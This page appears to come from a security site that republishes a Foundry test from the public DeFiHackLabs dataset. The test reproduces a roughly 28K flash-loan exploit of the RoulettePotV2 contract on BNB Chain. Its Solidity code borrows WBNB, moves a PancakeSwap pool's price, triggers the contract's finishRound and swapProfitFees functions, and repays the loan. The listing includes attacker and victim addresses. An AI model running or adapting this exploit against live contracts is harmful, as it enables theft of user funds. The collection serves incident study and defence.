Public reproduction file
src/test/2025-01/RoulettePotV2_exp.sol
Public reproduction file for dataset entry RoulettePotV2.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.15;4import "../basetest.sol";6// @KeyInfo - Total Lost : ~28K7// Attacker : https://bscscan.com/address/0x0000000000004f3d8aaf9175fd824cb00ad4bf808// Attack Contract : https://bscscan.com/address/0x000000000000bb1b11e5ac8099e92e366b64c1339// Vulnerable Contract : https://bscscan.com/address/0xf573748637e0576387289f1914627d716927f90f10// Attack Tx : https://bscscan.com/tx/0xd9e0014a32d96cfc8b72864988a6e1664a9b6a2e90aeaa895fcd42da11cc349012// @Info13// Vulnerable Contract Code : https://bscscan.com/address/0xf573748637e0576387289f1914627d716927f90f#code15// @Analysis16// Post-mortem : 17// Twitter Guy : https://x.com/TenArmorAlert/status/187800805571737606818// Hacking God : 19pragma solidity ^0.8.0;21import "../interface.sol";23interface IRoulettePotV2 {24 function finishRound() external;25 function swapProfitFees() external;26}28contract RoulettePotV2 is BaseTestWithBalanceLog {29 uint256 blocknumToForkFrom = 45_668_285;30 address internal constant PancakeV3Pool = 0x172fcD41E0913e95784454622d1c3724f546f849;31 address internal constant PancakeSwap = 0x824eb9faDFb377394430d2744fa7C42916DE3eCe;32 address internal constant RoulettePotV2 = 0xf573748637E0576387289f1914627d716927F90f;33 address internal constant WBNB = 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c;34 address internal constant LINK = 0xF8A0BF9cF54Bb92F17374d9e9A321E6a111a51bD;36 function setUp() public {37 vm.createSelectFork("bsc", blocknumToForkFrom);38 //Change this to the target token to get token balance of,Keep it address 0 if its ETH that is gotten at the end of the exploit39 fundingToken = address(WBNB);40 }42 function testExploit() public balanceLog {43 address recipient = PancakeSwap;44 uint256 amount0 = 0;45 uint256 amount1 = 4_203_732_130_200_000_000_000;46 bytes memory data = abi.encode(amount1);47 IPancakeV3Pool(PancakeV3Pool).flash(recipient, amount0, amount1, data);48 }50 function pancakeV3FlashCallback(uint256 fee0, uint256 fee1, bytes memory data) external {51 uint256 amount = abi.decode(data, (uint256));53 uint256 amount0Out = 0;54 uint256 amount1Out = 17_527_795_283_271_427_200_665;55 address to = address(this);56 IUniswapV2Pair(PancakeSwap).swap(amount0Out, amount1Out, to, new bytes(0));58 IRoulettePotV2(RoulettePotV2).finishRound();60 IRoulettePotV2(RoulettePotV2).swapProfitFees();62 uint256 balance = IERC20(LINK).balanceOf(address(this));63 IERC20(LINK).transfer(PancakeSwap, balance);65 amount0Out = 4_243_674_096_928_729_821_513;66 amount1Out = 0;67 IUniswapV2Pair(PancakeSwap).swap(amount0Out, amount1Out, to, new bytes(0));69 IERC20(WBNB).transfer(PancakeV3Pool, amount+fee1);70 }71}Analysis
Dataset entry
Public Foundry test for “RoulettePotV2” (2025-01-11). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
18 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/basetest.solImported by this file · 142 lines
- src/test/interface.solImported by this file · 6133 lines
- src/test/2025-01/98Token_exp.solSame month in the dataset · 53 lines
- src/test/2025-01/AIXBTForcedSwap_exp.solSame month in the dataset · 260 lines
- src/test/2025-01/Ast_exp.solSame month in the dataset · 111 lines
- src/test/2025-01/HORS_exp.solSame month in the dataset · 92 lines
- src/test/2025-01/IdolsNFT_exp.solSame month in the dataset · 81 lines
- src/test/2025-01/IPC_exp.solSame month in the dataset · 105 lines
- src/test/2025-01/JPulsepot_exp.solSame month in the dataset · 78 lines
- src/test/2025-01/LAURAToken_exp.solSame month in the dataset · 204 lines
- src/test/2025-01/LPMine_exp.solSame month in the dataset · 96 lines
- src/test/2025-01/MCAI_exp.solSame month in the dataset · 89 lines
- src/test/2025-01/Mosca_exp.solSame month in the dataset · 75 lines
- src/test/2025-01/Mosca2_exp.solSame month in the dataset · 78 lines
- src/test/2025-01/ODOS_exp.solSame month in the dataset · 68 lines
- src/test/2025-01/Paribus_exp.solSame month in the dataset · 188 lines
- src/test/2025-01/sorraStaking.solSame month in the dataset · 72 lines
- src/test/2025-01/Unilend_exp.solSame month in the dataset · 157 lines
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0x0000000000004f3d8aaf9175fd824cb00ad4bf80
- Attack Contract
0x000000000000bb1b11e5ac8099e92e366b64c133
- Vulnerable Contract
0xf573748637e0576387289f1914627d716927f90f
- Attack Tx
0xd9e0014a32d96cfc8b72864988a6e1664a9b6a2e90aeaa895fcd42da11cc3490
- Twitter: https://x.com/TenArmorAlert/status/1878008055717376068
- Explorer: https://bscscan.com/address/0x0000000000004f3d8aaf9175fd824cb00ad4bf80
- Explorer: https://bscscan.com/address/0x000000000000bb1b11e5ac8099e92e366b64c133
- Explorer: https://bscscan.com/address/0xf573748637e0576387289f1914627d716927f90f
- Explorer: https://bscscan.com/address/0xf573748637e0576387289f1914627d716927f90f#code
File record
- Name
- RoulettePotV2
- Path
- src/test/2025-01/RoulettePotV2_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- fa51f52555bb3183bc7f2b6d609810fb6ebd4f64
- Language
- Solidity
- Size
- 72 lines
- Date
- 2025-01-11
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2025-01/RoulettePotV2_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob fa51f52555bb3183bc7f2b6d609810fb6ebd4f64, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.